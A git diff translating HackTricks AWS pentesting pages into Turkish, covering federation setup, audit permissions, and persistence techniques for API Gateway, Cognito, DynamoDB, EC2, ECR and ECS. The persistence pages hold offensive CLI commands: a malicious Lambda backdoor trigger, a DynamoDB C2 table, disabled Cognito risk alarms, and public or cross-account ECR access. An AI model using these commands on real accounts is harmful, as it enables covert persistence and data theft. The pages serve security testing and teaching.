+Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz:
```
aws --profile acc2 ...
```
+Eğer **tarayıcı** için buna **benzer** bir şey arıyorsanız, **uzantı** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) kontrol edebilirsiniz.
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## Referanslar
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..43f1b752f 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -4,84 +4,81 @@
## SAML
-For info about SAML please check:
+SAML hakkında bilgi için lütfen kontrol edin:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**uç noktalar**, **sertifika** ile birlikte genel anahtar)
## OIDC - Github Actions Abuse
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
+1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin.
+2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin.
+3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın.
+4. _Hedef kitle_ için `sts.amazonaws.com` girin.
+5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin.
+7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**.
+8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
-## OIDC - EKS Abuse
-
+## OIDC - EKS Suistimali
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+**EKS** kümesinde **OIDC sağlayıcıları** oluşturmak, kümenin **OIDC URL**'sini **yeni bir Open ID Kimlik sağlayıcısı** olarak ayarlamakla mümkündür. Bu yaygın bir varsayılan politikadır:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+Bu politika, **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** yalnızca rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor.
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+**Hangi hizmet hesabının rolü üstlenebileceğini belirtmek için,** **hizmet hesabı adı belirtilen** bir **koşul** tanımlamak gereklidir, örneğin:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
-## References
+## Referanslar
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..b60bb1b7f 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -2,20 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+Denetlemek istediğiniz her AWS hesabında çalıştırmak için ihtiyaç duyduğunuz izinler şunlardır:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- Varsayılan politika **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) çalıştırmak için ayrıca şu izinlere ihtiyacınız var:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- (Müşteri sizin için analizörleri oluşturuyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır)
+- **access-analyzer:DeleteAnalyzer**
+- (Müşteri sizin için analizörleri kaldırıyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..6916d1118 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - Süreklilik
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..d33e2610e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -1,36 +1,32 @@
-# AWS - API Gateway Persistence
+# AWS - API Gateway Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
-For more information go to:
+Daha fazla bilgi için:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### Kaynak Politikası
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin.
-### Modify Lambda Authorizers
+### Lambda Yetkilendiricilerini Değiştirin
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim verin.\
+Ya da sadece yetkilendiricinin kullanımını kaldırın.
-### IAM Permissions
+### IAM İzinleri
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\
+Ya da sadece yetkilendiricinin kullanımını kaldırın.
-### API Keys
+### API Anahtarları
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\
+Ya da sadece API anahtarlarının kullanımını kaldırın.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..c89608350 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -1,27 +1,27 @@
-# AWS - Cognito Persistence
+# AWS - Cognito Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
-For more information, access:
+Daha fazla bilgi için erişim sağlayın:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
-### User persistence
+### Kullanıcı sürekliliği
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **Kullanıcı tarafından kontrol edilen bir Kullanıcı Havuzunu** bir Kimlik Havuzuna eklemek
+- **Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
+- Veya **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** eğer saldırgan giriş yapabiliyorsa
+- Veya verilen rollerin **izinlerini artırmak**
+- **Öznitelikler kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla** bir **Kullanıcı Havuzunda** oluşturmak, doğrulamak ve yetki yükseltmek
+- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek
-Check how to do these actions in
+Bu eylemleri nasıl yapacağınızı kontrol edin
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+Bu yetkiye sahip bir saldırgan, bir Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+Varsayılan olarak bu devre dışıdır:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..c709bdcde 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -1,67 +1,59 @@
-# AWS - DynamoDB Persistence
+# AWS - DynamoDB Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
-For more information access:
+Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri
+DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
+Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır.
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+### DynamoDB C2 Kanalı Olarak
+Bir saldırgan, komutlar içeren öğeler oluşturarak ve ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak bu komutları almak ve çalıştırmak için bir DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+Kompromize edilmiş örnekler veya Lambda fonksiyonları, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya geri raporlayabilir. Bu, saldırgana, kompromize edilmiş kaynaklar üzerinde kalıcılık ve kontrol sağlama imkanı tanır.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..80c40e816 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -1,58 +1,54 @@
-# AWS - EC2 Persistence
+# AWS - EC2 Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## EC2
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### Güvenlik Grubu Bağlantı İzleme Sürekliliği
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+Eğer bir savunucu **EC2 örneğinin ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder), ya da **herhangi bir türde gelen veya giden** trafiğe izin vermeyen **güvenlik grubunu değiştirebilir**.
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Eğer saldırganın makineden kaynaklanan bir **ters kabuk** varsa, SG gelen veya giden trafiğe izin vermeyecek şekilde değiştirilse bile, **bağlantı** [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
-### EC2 Lifecycle Manager
+### EC2 Yaşam Döngüsü Yöneticisi
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\
+Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırma yapabilir ve **kendi hesabıyla paylaşabilir**.
-### Scheduled Instances
+### Planlı Örnekler
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, erişebileceği yüksek ayrıcalıklara sahip bir makine çalıştırabilir.
-### Spot Fleet Request
+### Spot Filosu Talebi
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **otomatik IP** ataması ve saldırgana **spot örneği başladığında** ve **IP adresi** ile ilgili bilgi gönderen bir **kullanıcı verisi** ile **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin).
-### Backdoor Instances
+### Arka Kapı Örnekleri
-An attacker could get access to the instances and backdoor them:
+Bir saldırgan, örneklere erişebilir ve bunları arka kapı ile ele geçirebilir:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- Örneğin geleneksel bir **rootkit** kullanarak
+- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md))
+- **Kullanıcı Verisini** arka kapı ile ele geçirerek
-### **Backdoor Launch Configuration**
+### **Arka Kapı Başlatma Yapılandırması**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- Kullanılan AMI'yi arka kapı ile ele geçirmek
+- Kullanıcı Verisini arka kapı ile ele geçirmek
+- Anahtar Çifti'ni arka kapı ile ele geçirmek
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun.
### VPC Peering
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişebilir.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..1cd9c21b2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -1,101 +1,91 @@
-# AWS - ECR Persistence
+# AWS - ECR Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## ECR
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
-### Hidden Docker Image with Malicious Code
+### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+Bir saldırgan, **kötü amaçlı kod içeren bir Docker görüntüsünü** bir ECR deposuna yükleyebilir ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
+### Depo Politikası
+Kendinize (veya herkese) bir depoya erişim izni veren bir politika ekleyin:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> ECR'nin, kullanıcıların bir IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sine çağrı yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın; bu, bir kayıt defterine kimlik doğrulaması yapmadan ve herhangi bir Amazon ECR deposundan görüntüleri itip çekmeden önce gereklidir.
-### Registry Policy & Cross-account Replication
+### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+Kayıt defterini dış bir hesapta otomatik olarak çoğaltmak mümkündür; burada, kayıt defterini çoğaltmak istediğiniz **dış hesabı** belirtmeniz gerekir.
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+Öncelikle, dış hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+Sonra çoğaltma yapılandırmasını uygulayın:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..94b25b8cf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,32 +1,31 @@
-# AWS - ECS Persistence
+# AWS - ECS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## ECS
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
